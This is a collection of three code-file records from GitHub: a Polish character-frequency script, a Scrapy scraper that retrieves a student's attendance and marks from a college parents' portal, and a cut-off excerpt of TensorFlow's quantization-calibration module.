+{"seq_id":"27789799477","text":"# 2. Porównaj rozkłady statystyczne tekstów w dwóch różnych językach.\r\n# Należy wypisać co najmniej słownik z liczbą wystąpień każdego znaku tekstu.\r\nimport re\r\n\r\nf = open('angielski.txt')\r\nfpolski = open('polski.txt')\r\nstat = {}\r\nfor line in f:\r\n line = re.sub(r'\\s', '', line)\r\n for znak in line:\r\n if znak in stat:\r\n stat[znak] += 1\r\n else:\r\n stat[znak] = 0\r\nsorted_x = sorted(stat.items(), key=lambda item: item[1], reverse=True)\r\nprint(\"jezyk angileski\\n\", sorted_x)\r\nstatan = {}\r\nfor line in fpolski:\r\n line = re.sub(r'\\s', '', line)\r\n for znak in line:\r\n if znak in statan:\r\n statan[znak] += 1\r\n else:\r\n statan[znak] = 0\r\nsorted_y = sorted(statan.items(), key=lambda item: item[1], reverse=True)\r\nprint(\"Jezyk poslki\\n\", sorted_y)\r\n","repo_name":"ivanprokopets/Ochrona-danych","sub_path":"Etap_1/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41372510673","text":"from flask import Flask, redirect, render_template, request, session, url_for,jsonify\nimport json\nimport subprocess\nimport os\nimport sys\nimport scrapy\nimport json\nimport scrapy\nimport scrapy.crawler as crawler\nfrom multiprocessing import Process, Queue\nfrom twisted.internet import reactor\nimport base64\nimport random\nimport string\n\n\nclass SIS_Spider(scrapy.Spider):\n\tname = 'sis'\n\tlogin_url = 'http://parents.msrit.edu/index.php'\n\tbase_url = 'http://parents.msrit.edu/'\n\tstart_urls = [login_url]\n\tatt_data = list()\n\tmark_data = list()\n\twrite_file = ''\t\n\t\n\tdef parse(self, response):\n\t\tusn = USN\n\t\ttoken = response.xpath('//input[@value=\"1\"]/@name')[0].extract()\n\t\tpassword = ''\n\t\tfor c in DOB:\n\t\t\tpassword = password + c + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase+ string.digits) for _ in range(2))\n\n\t\tpassword = base64.b64encode(password.encode()).decode(\"utf-8\")\n\n\t\tdata = {\n\t\t'username': usn,\n\t\t'password': password,\n\t\t'remember': 'No',\n\t\t'submit.x': '15',\n\t\t'submit.y': '23',\n\t\t'passwd':password,\n\t\t'option': 'com_user',\n\t\t'task':'login',\n\t\t'return':'�w^Ƙi',\n\t\ttoken : '1'\n\t\t}\n \n\t\tself.write_file = data['username']+'.json'\n\t\n\t\tyield scrapy.FormRequest(url=self.login_url, formdata=data, callback=self.parse_quotes)\n\n\tdef parse_quotes(self, response):\n\n\t\tprint('logged in ')\n\t\teachsubject = list()\n\n\t\tdetails = response.xpath('//div[@class=\"tname2\"]/text()').extract()\n\t\n\t\tjson.dump(details,open('data_'+self.write_file,'w'))\n\t\teachsubject2 = response.css('a[title=Attendence]::attr(href)').extract()\n\t\t\n\t\teachsubject = [x for x in set(eachsubject2)]\n\t\tprint('attendance links are - ', len(eachsubject))\n\t\t\n\t\tfor link in eachsubject:\n\t\t\trequest = scrapy.Request(url = self.base_url+link, callback = self.attendance_data)\n\t\t\t\n\t\t\tyield request\n\n\t\teachsubject2 = response.xpath('//div[@class=\"cie\"]/a/@href').extract()\n\t\t\n\t\teachsubject = [x for x in set(eachsubject2)]\n\t\tprint('cie links are - ', len(eachsubject))\n\t\t\n\t\tfor link in eachsubject:\t\n\t\t\trequest = scrapy.Request(url = self.base_url+link, callback = self.marks_data)\n\t\t\tyield request\n\n\tdef attendance_data(self, response):\n\t\tatt = dict()\n\t\tatt['code'] = response.xpath('//div[@class=\"courseCode\"]/text()')[0].extract()\n\t\tatt['name'] = response.xpath('//div[@class=\"coursename\"]/text()')[0].extract()\n\t\tatt['percentage'] = response.xpath('//div[@class=\"att\"]/a/text()')[0].extract()\n\t\tatt['teacher'] = response.xpath('//div[@class=\"tname\"]/text()')[0].extract()\n\t\t#print(' p = ',att['teacher'])\n\t\tatt['present'] = response.xpath('//div[@class=\"progress-bar progress-bar-success\"]/@title')[0].extract().split(':')[1]\n\t\tatt['absent'] = response.xpath('//div[@class=\"progress-bar progress-bar-danger\"]/@title')[0].extract().split(':')[1]\n\n\t\ttry:\n\t\t\tatt['remaining'] = response.xpath('//div[@class=\"progress-bar progress-bar-warning\"]/@title')[0].extract().split(':')[1]\n\t\texcept:\n\t\t\tatt['remaining'] = '0'\n\n\t\teven = response.xpath('//tr[@class=\"even\"]/td/text()').extract()\n\t\todd = response.xpath('//tr[@class=\"odd\"]/td/text()').extract()\n\n\t\t\n\t\tpresent = list()\n\t\tabsent = list()\n\n\t\tfor e in range(0,len(even),4):\n\t\t\tday = dict()\n\t\t\t# or try this future\n\t\t\tday['index'] = ' '.join(even[e].split())\n\t\t\tday['date'] = ' '.join(even[e+1].split())\n\t\t\tday['time'] = ' '.join(even[e+2].split())\n\t\t\tday['status'] = ' '.join(even[e+3].split())\n\t\t\t\n\t\t\tif(day['status'] == 'Present'):\n\t\t\t\tpresent.append(day)\n\t\t\telse:\t\n\t\t\t\tabsent.append(day)\n\t\t\t\n\t\tfor e in range(0,len(odd),4):\n\t\t\tday = dict()\n\t\t\tday['index'] = ' '.join(odd[e].split())\n\t\t\tday['date'] = ' '.join(odd[e+1].split())\n\t\t\tday['time'] = ' '.join(odd[e+2].split())\n\t\t\tday['status'] = ' '.join(odd[e+3].split())\n\t\t\t\n\t\t\tif(day['status'] == 'Present'):\n\t\t\t\tpresent.append(day)\n\t\t\telse:\t\n\t\t\t\tabsent.append(day)\n\t\n\t\tabsent = sorted(absent, key=lambda x:x['index'])\n\t\tpresent = sorted(present, key=lambda x:x['index'])\t\n\t\t\n\t\tatt['present_dates'] = present\n\t\tatt['absent_dates'] = absent\n\t\n\t\tself.att_data.append(att)\n\t\t\n\t\tjson.dump(self.att_data,open('attendance_'+self.write_file,'w'))\n\t\n\n\tdef marks_data(self,response):\n\t\tmarks = dict()\n\n\t\tmarks['name'] = response.xpath('//th[@colspan=\"9\"]/text()')[0].extract()\n\t\tlol=response.xpath('//tr[@class=\"odd\"]/td[@class=\"\"]/text()').extract()\n\t\t\n\t\tmarks['t1'] = lol[0]\n\t\tmarks['t2'] = lol[1]\t\t\n\t\tmarks['t3'] = lol[2]\n\t\tmarks['t4'] = lol[3]\n\t\tmarks['a1'] = lol[4]\n\t\tmarks['a2'] = lol[5]\n\t\tmarks['a3'] = lol[6]\n\n\t\tif(len(marks)==8):\n\t\t\tmarks['final cie'] = \"-\"\n\t\telse:\n\t\t\tmarks['final cie'] = lol[7]\n\n\t\t\n\t\tself.mark_data.append(marks)\n\n\t\tjson.dump(self.mark_data,open('marks_'+self.write_file,'w'))\n\n","repo_name":"roopak1997/SIS-Spider","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"32818977793","text":"import collections.abc\nimport tempfile\nfrom typing import Callable, Collection, Dict, Mapping, Optional, Sequence\nimport uuid\n\nfrom absl import logging\nimport numpy as np\n\nfrom tensorflow.compiler.mlir.quantization.tensorflow import exported_model_pb2\nfrom tensorflow.compiler.mlir.quantization.tensorflow import quantization_options_pb2 as quant_opts_pb2\nfrom tensorflow.compiler.mlir.quantization.tensorflow.python import pywrap_quantize_model\nfrom tensorflow.compiler.mlir.quantization.tensorflow.python import representative_dataset as repr_dataset\nfrom tensorflow.compiler.mlir.quantization.tensorflow.python import save_model\nfrom tensorflow.core.framework import graph_pb2\nfrom tensorflow.core.protobuf import meta_graph_pb2\nfrom tensorflow.core.protobuf import saver_pb2\nfrom tensorflow.python.client import session\nfrom tensorflow.python.eager import context\nfrom tensorflow.python.eager import wrap_function\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import tensor_conversion\nfrom tensorflow.python.lib.io import file_io\nfrom tensorflow.python.platform import tf_logging as logging\nfrom tensorflow.python.saved_model import loader_impl as saved_model_loader\nfrom tensorflow.python.saved_model import signature_constants\nfrom tensorflow.python.saved_model import tag_constants\nfrom tensorflow.python.saved_model.load import load as saved_model_load\nfrom tensorflow.python.trackable import autotrackable\nfrom tensorflow.python.types import core\n\n# Type aliases for quant_opts_pb2 messages.\n_Method = quant_opts_pb2.QuantizationMethod.Method\n_ExperimentalMethod = quant_opts_pb2.QuantizationMethod.ExperimentalMethod\n\n_QuantizationComponent = (\n quant_opts_pb2.QuantizationComponentSpec.QuantizationComponent\n)\n\n_TensorType = quant_opts_pb2.QuantizationComponentSpec.TensorType\n\n# Mapping of signature def key -> SignatureDef.\n_SignatureDefMap = Mapping[str, meta_graph_pb2.SignatureDef]\n\n# Default minimum number of elements in the weights for them to be quantized\n# during dynamic range quantization (DRQ) and weight-only quantization.\n_DYNAMIC_RANGE_DEFAULT_MIN_NUM_ELEMENTS_FOR_WEIGHTS = 1024\n\n# Name of the saved model assets directory.\n_ASSETS_DIR = 'assets'\n_ASSETS_EXTRA_DIR = 'assets.extra'\n\n\ndef _is_qat_saved_model(saved_model_path: str):\n \"\"\"Checks if the SavedModel is QAT-enabled by looking for 'FakeQuant' ops.\"\"\"\n saved_model_proto = saved_model_loader.parse_saved_model(saved_model_path)\n for meta_graph in saved_model_proto.meta_graphs:\n if any(\n node.op.startswith('FakeQuant') for node in meta_graph.graph_def.node\n ):\n return True\n for function in meta_graph.graph_def.library.function:\n if any(node.op.startswith('FakeQuant') for node in function.node_def):\n return True\n return False\n\n\ndef _create_sample_validator(\n expected_input_keys: Collection[str],\n) -> Callable[\n [repr_dataset.RepresentativeSample], repr_dataset.RepresentativeSample\n]:\n \"\"\"Creates a validator function for a representative sample.\n\n Args:\n expected_input_keys: Input keys (keyword argument names) that the function\n the sample will be used for is expecting to receive.\n\n Returns:\n A callable that validates a `RepresentativeSample`.\n \"\"\"\n\n def validator(\n sample: repr_dataset.RepresentativeSample,\n ) -> repr_dataset.RepresentativeSample:\n \"\"\"Validates a single instance of representative sample.\n\n This provides a simple check for `sample` that this is a mapping of\n {input_key: input_value}.\n\n Args:\n sample: A `RepresentativeSample` to validate.\n\n Returns:\n `sample` iff it is valid.\n\n Raises:\n ValueError: iff the sample isn't an instance of `Mapping`.\n KeyError: iff the sample does not have the set of input keys that match\n the input keys of the function.\n \"\"\"\n if not isinstance(sample, collections.abc.Mapping):\n raise ValueError(\n 'Invalid representative sample type. Provide a mapping '\n '(usually a dict) of {input_key: input_value}. '\n f'Got type: {type(sample)} instead.'\n )\n\n if set(sample.keys()) != expected_input_keys:\n raise KeyError(\n 'Invalid input keys for representative sample. The function expects '\n f'input keys of: {set(expected_input_keys)}. '\n f'Got: {set(sample.keys())}. Please provide correct input keys for '\n 'representative samples.'\n )\n\n return sample\n\n return validator\n\n\ndef _validate_representative_dataset(\n representative_dataset: repr_dataset.RepresentativeDatasetOrMapping,\n signature_keys: Collection[str],\n) -> None:\n \"\"\"Validates the representative dataset, based on the signature keys.\n\n Representative dataset can be provided in two different forms: a single\n instance of `RepresentativeDataset` or a map of signature key to the\n corresponding `RepresentativeDataset`. These have a relationship with\n `signature_keys`.\n\n This function validates the following conditions:\n * If `len(signature_keys) > 1`, then `representative_dataset` should be a\n mapping where the keys exactly match the elements in `signature_keys`.\n * If `len(signature_keys) == 1`, then both a mapping and a single instance of\n `RepresentativeDataset` are allowed.\n * This function also assumes `len(signature_keys) > 0`.\n\n Args:\n representative_dataset: A `RepresentativeDataset` or a map of string to\n `RepresentativeDataset` to be validated.\n signature_keys: A collection of strings that contains the signature keys,\n each identifying a `SignatureDef`.\n\n Raises:\n ValueError: Iff `representative_dataset` does not satisfy the conditions\n above.\n \"\"\"\n if isinstance(representative_dataset, collections.abc.Mapping):\n if set(signature_keys) != set(representative_dataset.keys()):\n raise ValueError(\n 'The signature keys and the keys of representative dataset map '\n f'do not match. Signature keys: {set(signature_keys)}, '\n f'representative dataset map: {set(representative_dataset.keys())}.'\n )\n else:\n if len(signature_keys) > 1:\n raise ValueError(\n 'Representative dataset is not a mapping '\n f'(got: {type(representative_dataset)}), '\n 'but there is more than one signature key provided. '\n 'Please provide a map of {signature_key -> dataset} '\n 'with more than one signature key.'\n )\n\n\ndef _convert_values_to_tf_tensors(\n sample: repr_dataset.RepresentativeSample,\n) -> Mapping[str, core.Tensor]:\n \"\"\"Converts TensorLike values of `sample` to Tensors.\n\n Creates a copy of `sample`, where each value is converted to Tensors\n unless it is already a Tensor.\n The values are not converted in-place (i.e. `sample` is not mutated).\n\n Args:\n sample: A representative sample, which is a map of {name -> tensorlike\n value}.\n\n Returns:\n Converted map of {name -> tensor}.\n \"\"\"\n tensor_mapping = {}\n for name, tensorlike_value in sample.items():\n if isinstance(tensorlike_value, core.Tensor):\n tensor_value = tensorlike_value\n else:\n tensor_value = tensor_conversion.convert_to_tensor_v2_with_dispatch(\n tensorlike_value\n )\n\n tensor_mapping[name] = tensor_value\n\n return tensor_mapping\n\n\ndef _create_feed_dict_from_input_data(\n input_data: repr_dataset.RepresentativeSample,\n signature_def: meta_graph_pb2.SignatureDef,\n) -> Dict[str, np.ndarray]:\n \"\"\"Constructs a feed_dict from input data.\n\n Note: This function should only be used in graph mode.\n\n This is a helper function that converts an 'input key -> input value' mapping\n to a feed dict. A feed dict is an 'input tensor name -> input value' mapping\n and can be directly passed to the `feed_dict` argument of `sess.run()`.\n\n Args:\n input_data: Input key -> input value mapping. The input keys should match\n the input keys of `signature_def`.\n signature_def: A SignatureDef representing the function that `input_data` is\n an input to.\n\n Returns:\n Feed dict, which is intended to be used as input for `sess.run`. It is\n essentially a mapping: input tensor name -> input value. Note that the input\n value in the feed dict is not a `Tensor`.\n \"\"\"\n feed_dict = {}\n for input_key, input_value in input_data.items():\n input_tensor_name = signature_def.inputs[input_key].name\n\n value = input_value\n if isinstance(input_value, core.Tensor):\n # Take the data out of the tensor.\n value = input_value.eval()\n\n feed_dict[input_tensor_name] = value\n\n return feed_dict\n\n\n# TODO(b/249918070): Implement a progress bar.\ndef _log_sample_num_for_calibration(\n representative_dataset: repr_dataset.RepresentativeDataset,\n) -> repr_dataset.RepresentativeDataset:\n \"\"\"Logs the sample number for calibration.\n\n If in debug logging level, the \"sample number / total num samples\" is logged\n for every 5 iterations.\n\n This is often useful when tracking the progress of the calibration step which\n is often slow and may look stale if there's no logs being printed.\n\n Args:\n representative_dataset: The representative dataset.\n\n Yields:\n The representative samples from `representative_dataset` without any\n modification.\n \"\"\"\n num_samples: Optional[int] = repr_dataset.get_num_samples(\n representative_dataset\n )\n if num_samples is None:\n total_num_samples = '?'\n logging.info('Representative dataset size unknown.')\n else:\n total_num_samples = str(num_samples)\n logging.info('Using representative dataset of size: %s', total_num_samples)\n\n sample_num = 0\n for sample in representative_dataset:\n sample_num += 1\n\n # Log the sample number for every 5 iterations.\n logging.log_every_n(\n logging.DEBUG,\n 'Running representative sample for calibration: %d / %s',\n 5,\n sample_num,\n total_num_samples,\n )\n yield sample\n\n logging.info(\n 'Running representative samples complete: %d / %s',\n sample_num,\n total_num_samples,\n )\n\n\ndef _run_function_for_calibration_graph_mode(\n sess: session.Session,\n signature_def: meta_graph_pb2.SignatureDef,\n representative_dataset: repr_dataset.RepresentativeDataset,\n) -> None:\n \"\"\"Runs the representative dataset through a function for calibration.\n\n NOTE: This is intended to be run in graph mode (TF1).\n\n The function is identified by the SignatureDef.\n\n Args:\n sess: The Session object to run the function in.\n signature_def: A SignatureDef that identifies a function by specifying the\n inputs and outputs.\n representative_dataset: The representative dataset to run through the\n function.\n \"\"\"\n output_tensor_names = [\n output_tensor_info.name\n for output_tensor_info in signature_def.outputs.values()\n ]\n\n sample_validator = _create_sample_validator(\n expected_input_keys=signature_def.inputs.keys()\n )\n\n for sample in map(\n sample_validator, _log_sample_num_for_calibration(representative_dataset)\n ):\n # Create a mapping from input tensor name to the input tensor value.\n # ex) \"Placeholder:0\" -> [0, 1, 2]\n feed_dict = _create_feed_dict_from_input_data(sample, signature_def)\n sess.run(output_tensor_names, feed_dict=feed_dict)\n\n\ndef _replace_tensors_by_numpy_ndarrays(\n repr_ds_map: repr_dataset.RepresentativeDatasetMapping,\n) -> None:\n \"\"\"Replaces tf.Tensors by their evaluated numpy arrays.\n\n This assumes that tf.Tensors in representative samples are created in the\n default Graph. It will raise an error if tensors are created in a different\n graph.\n\n Args:\n repr_ds_map: SignatureDef key -> RepresentativeDataset mapping.\n \"\"\"\n with session.Session() as sess:\n for signature_def_key in repr_ds_map:\n # Replaces the dataset with a new dataset where tf.Tensors are replaced\n # by their evaluated values.\n ds = repr_ds_map[signature_def_key]\n repr_ds_map[signature_def_key] = (\n repr_dataset.replace_tensors_by_numpy_ndarrays(ds, sess)\n )\n\n\ndef _run_graph_for_calibration_graph_mode(\n model_dir: str,\n tags: Collection[str],\n representative_dataset_map: repr_dataset.RepresentativeDatasetMapping,\n) -> None:\n \"\"\"Runs the graph for calibration in graph mode.\n\n This function assumes _graph mode_ (used when legacy TF1 is used or when eager\n mode is explicitly disabled) when running the graph. This step is used in\n order to collect the statistics in CustomAggregatorOp for quantization using\n the representative dataset for the actual data provided for inference.\n\n Args:\n model_dir: Path to SavedModel directory.\n tags: Collection of tags identifying the MetaGraphDef within the SavedModel.\n representative_dataset_map: A map where signature keys are mapped to\n corresponding representative datasets.\n\n Raises:\n ValueError: When running the function with the representative dataset fails.\n \"\"\"\n # Replace tf.Tensors by numpy ndarrays in order to reuse the samples in a\n # different graph when running the calibration.\n _replace_tensors_by_numpy_ndarrays(representative_dataset_map)\n\n # Run the calibration in a new graph to avoid name collision, which could\n # happen when the same model is loaded multiple times in the default graph.\n with ops.Graph().as_default(), session.Session() as sess:\n meta_graph: meta_graph_pb2.MetaGraphDef = saved_model_loader.load(\n sess, tags, export_dir=model_dir\n )\n\n for signature_key, repr_ds in representative_dataset_map.items():\n sig_def = meta_graph.signature_def[signature_key]\n\n try:\n _run_function_for_calibration_graph_mode(\n sess, signature_def=sig_def, representative_dataset=repr_ds\n )\n except Exception as ex:\n raise ValueError(\n 'Failed to run representative dataset through the '\n f'function with the signature key: {signature_key}.'\n ) from ex\n\n\ndef _run_function_for_calibration_eager_mode(\n func: wrap_function.WrappedFunction,\n representative_dataset: repr_dataset.RepresentativeDataset,\n) -> None:\n \"\"\"Runs the representative dataset through a function for calibration.\n\n NOTE: This is intended to be run in eager mode (TF2).\n\n Args:\n func: The function to run the representative samples through.\n representative_dataset: Representative dataset used for calibration. The\n input keys and input values of the representative samples should match the\n keyword arguments of `func`.\n \"\"\"\n _, keyword_args = func.structured_input_signature\n sample_validator = _create_sample_validator(\n expected_input_keys=keyword_args.keys()\n )\n\n for sample in map(\n sample_validator, _log_sample_num_for_calibration(representative_dataset)\n ):\n # Convert any non-Tensor values from the sample to Tensors.\n # This conversion is required because the model saved in `model_dir` is\n # saved using TF1 SavedModelBuilder, which doesn't save the\n # SavedObjectGraph.\n # TODO(b/236795224): Remove the need for this conversion by keeping the\n # FunctionSpec (object graph) in the SavedModel. Related: b/213406917.\n func_kwargs = _convert_values_to_tf_tensors(sample)\n func(**func_kwargs)\n\n\ndef _run_graph_for_calibration_eager_mode(\n model_dir: str,\n tags: Collection[str],\n representative_dataset_map: repr_dataset.RepresentativeDatasetMapping,\n) -> None:\n \"\"\"Runs the graph for calibration in eager mode.\n\n This function assumes _eager mode_ (enabled in TF2 by default) when running\n the graph. This step is used in order to collect the statistics in\n CustomAggregatorOp for quantization using the representative dataset for the\n actual data provided for inference.\n\n Args:\n model_dir: Path to SavedModel directory.\n tags: Collection of tags identifying the MetaGraphDef within the SavedModel.\n representative_dataset_map: A map where signature keys are mapped to\n corresponding representative datasets.\n\n Raises:\n ValueError: When running the function with the representative dataset fails.\n \"\"\"\n root: autotrackable.AutoTrackable = saved_model_load(model_dir, tags)\n for signature_key, repr_ds in representative_dataset_map.items():\n try:\n _run_function_for_calibration_eager_mode(\n func=root.signatures[signature_key], representative_dataset=repr_ds\n )\n except Exception as ex:\n raise ValueError(\n 'Failed to run representative dataset through the '\n f'function with the signature key: {signature_key}.'\n ) from ex\n\n\ndef _run_graph_for_calibration(\n float_model_dir: str,\n signature_keys: Sequence[str],\n tags: Collection[str],\n representative_dataset: repr_dataset.RepresentativeDatasetOrMapping,\n force_graph_mode_calibration: bool,\n) -> None:\n \"\"\"Runs the graph for calibration using representative datasets.\n\n Args:\n float_model_dir: Path to the model to calibrate.\n signature_keys: Sequence of keys identifying SignatureDef containing inputs\n and outputs.\n tags: Collection of tags identifying the MetaGraphDef within the SavedModel\n to analyze.\n representative_dataset: An iterator that returns a dictionary of {input_key:\n input_value} or a mapping from signature keys to such iterators. When\n `signature_keys` contains more than one signature key,\n `representative_datsaet` should be a mapping that maps each signature keys\n to the corresponding representative dataset.\n force_graph_mode_calibration: If set to true, it forces calibration in graph\n model instead of eager mode when the context is in eager mode.\n\n Raises:\n ValueError iff:\n * The representative dataset format is invalid.\n * It fails to run the functions using the representative datasets.\n \"\"\"\n try:\n _validate_representative_dataset(representative_dataset, signature_keys)\n except Exception as ex:\n raise ValueError('Invalid representative dataset.') from ex\n\n # If `representative_dataset` is not a mapping, convert to a mapping for the\n # following functions to handle representative datasets more conveniently.\n representative_dataset_map = representative_dataset\n if not isinstance(representative_dataset, collections.abc.Mapping):\n # `signature_keys` is guaranteed to have only one element after the\n # validation.\n representative_dataset_map = {signature_keys[0]: representative_dataset}\n\n try:\n if context.executing_eagerly() and not force_graph_mode_calibration:\n logging.info('Calibration step is executed in eager mode.')\n _run_graph_for_calibration_eager_mode(\n float_model_dir, tags, representative_dataset_map\n )\n else:\n logging.info('Calibration step is executed in graph mode.')\n _run_graph_for_calibration_graph_mode(\n float_model_dir, tags, representative_dataset_map\n )\n except Exception as ex:\n raise ValueError(\n 'Failed to run graph for post-training quantization calibration.'\n ) from ex\n\n logging.info('Calibration step complete.')\n\n\ndef _copy_assets(src_path: str, dst_path: str) -> None:\n \"\"\"Copies the assets directory of the saved model.\n\n Clones the contents of the assets/ directory from the source saved model\n directory to the destination saved model directory. Nothing will be copied if\n there are no assets directory in the source directory.\n\n Args:\n src_path: Source saved model directory.\n dst_path: Destination saved model directory. This directory must exist.\n \"\"\"\n for assets_dir_name in [_ASSETS_DIR, _ASSETS_EXTRA_DIR]:\n src_assets_path = file_io.join(src_path, assets_dir_name)\n if not file_io.file_exists_v2(src_assets_path):\n # Do nothing if the source assets path does not exist.\n continue\n\n dst_assets_path = file_io.join(dst_path, assets_dir_name)\n file_io.create_dir_v2(dst_assets_path)\n\n for curr_dir, _, files in file_io.walk_v2(src_assets_path):\n for asset_file_name in files:\n src_asset_file = file_io.join(curr_dir, asset_file_name)\n\n # Construct the destination assets file path.\n curr_dst_dir = curr_dir.replace(src_assets_path, dst_assets_path)\n dst_asset_file = file_io.join(curr_dst_dir, asset_file_name)\n\n file_io.copy_v2(src_asset_file, dst_asset_file)\n logging.info(\n 'Copied asset file: %s -> %s', src_asset_file, dst_asset_file\n )\n\n\ndef _run_static_range_qat(\n src_saved_model_path: str,\n dst_saved_model_path: str,\n signature_def_keys: Sequence[str],\n tags: Collection[str],\n quant_opts: quant_opts_pb2.QuantizationOptions,\n signature_def_map: _SignatureDefMap,\n) -> None:\n \"\"\"Runs static-range quantization for a Quantization-Aware Trained model.\n\n Runs the quantization for a model trained using QAT.\n\n Args:\n src_saved_model_path: Path to the source SavedModel directory.\n dst_saved_model_path: Path to the destination SavedModel directory.\n signature_def_keys: Keys of the signatures of the functions that are the\n target for quantization.\n tags: Tags identifying the MetaGraphDef.\n quant_opts: Quantization options.\n signature_def_map: Signature def key -> SignatureDef mapping.\n \"\"\"\n logging.info('Running static-range quantization for QAT model.')\n\n loader = saved_model_loader.SavedModelLoader(src_saved_model_path)\n function_aliases = loader.get_meta_graph_def_from_tags(\n tags\n ).meta_info_def.function_aliases\n\n exported_model_serialized = pywrap_quantize_model.quantize_qat_model(\n src_saved_model_path,\n list(signature_def_keys),\n set(tags),\n quant_opts.SerializeToString(),\n dict(function_aliases),\n )\n\n exported_model = exported_model_pb2.ExportedModel.FromString(\n exported_model_serialized\n )\n\n save_model.save_model_v1(\n exported_model.graph_def,\n dst_saved_model_path,\n signature_def_map,\n tags,\n init_op_name=exported_model.init_node_name,\n saver_def=_get_saver_def_or_none(exported_model),\n checkpoint_dir=exported_model.checkpoint_dir,\n function_aliases=exported_model.function_aliases,\n asset_file_defs=exported_model.asset_file_defs,\n )\n\n _copy_assets(src_saved_model_path, dst_saved_model_path)\n\n\ndef _add_calibration_statistics(graph_def: graph_pb2.GraphDef) -> None:\n \"\"\"Adds calibration statistics to the graph def.\n\n This function must be run after running the graph with a representative\n dataset. Retrieves calibration statistics from the global calibrator and adds\n them to the corresponding nodes as attributes.\n\n Args:\n graph_def: GraphDef to add calibration statistics to.\n \"\"\"\n for function_def in graph_def.library.function:\n for node_def in function_def.node_def:\n if node_def.op != 'CustomAggregator':\n continue\n\n node_id = node_def.attr['id'].s\n try:\n min_val = pywrap_quantize_model.get_min_from_calibrator(node_id)\n max_val = pywrap_quantize_model.get_max_from_calibrator(node_id)\n pywrap_quantize_model.clear_data_from_calibrator(node_id)\n node_def.attr['min'].f = float(min_val)\n node_def.attr['max'].f = float(max_val)\n except ValueError:\n logging.warn(\n (\n 'CustomAggregator id \"%s\" from FunctionDef \"%s\" does not have '\n 'min or max values. Parts of this function are not quantized.'\n ),\n node_id.decode('utf-8'),\n function_def.signature.name,\n )\n\n\ndef _get_saver_def_or_none(\n exported_model: exported_model_pb2.ExportedModel,\n) -> Optional[saver_pb2.SaverDef]:\n \"\"\"Returns the SaverDef from ExportedModel, None otherwise.\n\n Args:\n exported_model: ExportedModel to take the SaverDef from.\n\n Returns:\n SaverDef instance if the field `saver_def` is set. None otherwise.\n \"\"\"\n if exported_model.HasField('saver_def'):\n return exported_model.saver_def\n return None\n\n\ndef _run_static_range_ptq(\n src_saved_model_path: str,\n dst_saved_model_path: str,\n signature_def_keys: Sequence[str],\n tags: Collection[str],\n quant_opts: quant_opts_pb2.QuantizationOptions,\n representative_dataset: repr_dataset.RepresentativeDatasetOrMapping,\n signature_def_map: _SignatureDefMap,\n) -> None:\n \"\"\"Runs static-range Post-Training Quantization.\n\n Runs static-range PTQ for the model. Runs the calibration step with\n `representative_dataset` to collect statistics required for quantization. This\n produces the quantized GraphDef along with the SignatureDefs which might have\n been modified according to the changes in the graph.\n\n Args:\n src_saved_model_path: Path to the source SavedModel directory.\n dst_saved_model_path: Path to the destination SavedModel directory.\n signature_def_keys: Keys of the signature defs of the functions that are the\n target for quantization.\n tags: Tags to identify the MetaGraphDef to be used for quantization.\n quant_opts: Quantization options.\n representative_dataset: Representative dataset used for the calibration\n step. Representative datasets should exist for each signature def key in\n `signature_def_keys`.\n signature_def_map: Signature def key -> SignatureDef mapping.\n\n Raises:\n ValueError if the graph doesn't contain a valid signature.\n \"\"\"\n logging.info('Running post-training quantization pre-calibration step.')\n\n loader = saved_model_loader.SavedModelLoader(src_saved_model_path)\n function_aliases = loader.get_meta_graph_def_from_tags(\n tags\n ).meta_info_def.function_aliases\n\n exported_model_serialized = (\n pywrap_quantize_model.quantize_ptq_model_pre_calibration(\n src_saved_model_path,\n list(signature_def_keys),\n set(tags),\n quant_opts.SerializeToString(),\n dict(function_aliases),\n )\n )\n\n exported_model = exported_model_pb2.ExportedModel.FromString(\n exported_model_serialized\n )\n\n graph_def = exported_model.graph_def\n for function_def in graph_def.library.function:\n for node_def in function_def.node_def:\n if node_def.op == 'CustomAggregator':\n node_def.attr['id'].s = uuid.uuid4().hex.encode('ascii')\n\n pre_calib_output_model_path = tempfile.mkdtemp()\n save_model.save_model_v1(\n graph_def,\n pre_calib_output_model_path,\n signature_def_map,\n tags,\n exported_model.init_node_name,\n _get_saver_def_or_none(exported_model),\n exported_model.checkpoint_dir,\n exported_model.function_aliases,\n asset_file_defs=exported_model.asset_file_defs,\n )\n\n _copy_assets(src_saved_model_path, pre_calib_output_model_path)\n\n # Uses the representative dataset to collect statistics for calibration.\n # Handles the graph mode execution separately in case TF2 is disabled or\n # eager execution is disabled. The min & max values are stored separately\n # in a global CalibratorSingleton instance.\n _run_graph_for_calibration(\n pre_calib_output_model_path,\n signature_def_keys,\n tags,\n representative_dataset,\n quant_opts.force_graph_mode_calibration,\n )\n _add_calibration_statistics(graph_def)\n\n calibrated_model_path = tempfile.mkdtemp()\n save_model.save_model_v1(\n graph_def,\n calibrated_model_path,\n signature_def_map,\n tags,\n exported_model.init_node_name,\n _get_saver_def_or_none(exported_model),\n exported_model.checkpoint_dir,\n asset_file_defs=exported_model.asset_file_defs,\n )\n\n _copy_assets(pre_calib_output_model_path, calibrated_model_path)\n\n logging.info('Running post-training quantization post-calibration step.')\n exported_model_serialized = (\n pywrap_quantize_model.quantize_ptq_model_post_calibration(\n calibrated_model_path,\n list(signature_def_keys),\n set(tags),\n quant_opts.SerializeToString(),\n dict(exported_model.function_aliases),\n )\n )\n\n exported_model = exported_model_pb2.ExportedModel.FromString(\n exported_model_serialized\n )\n\n save_model.save_model_v1(\n exported_model.graph_def,\n dst_saved_model_path,\n signature_def_map,\n tags,\n init_op_name=exported_model.init_node_name,\n saver_def=_get_saver_def_or_none(exported_model),\n checkpoint_dir=exported_model.checkpoint_dir,\n function_aliases=exported_model.function_aliases,\n asset_file_defs=exported_model.asset_file_defs,\n )\n\n _copy_assets(calibrated_model_path, dst_saved_model_path)\n\n\ndef _static_range_quantize(\n saved_model_path: str,\n signature_keys: Sequence[str],\n tags: Collection[str],\n output_directory: str,\n quantization_options: quant_opts_pb2.QuantizationOptions,\n representative_dataset: Optional[\n repr_dataset.RepresentativeDatasetOrMapping\n ] = None,\n) -> autotrackable.AutoTrackable:\n 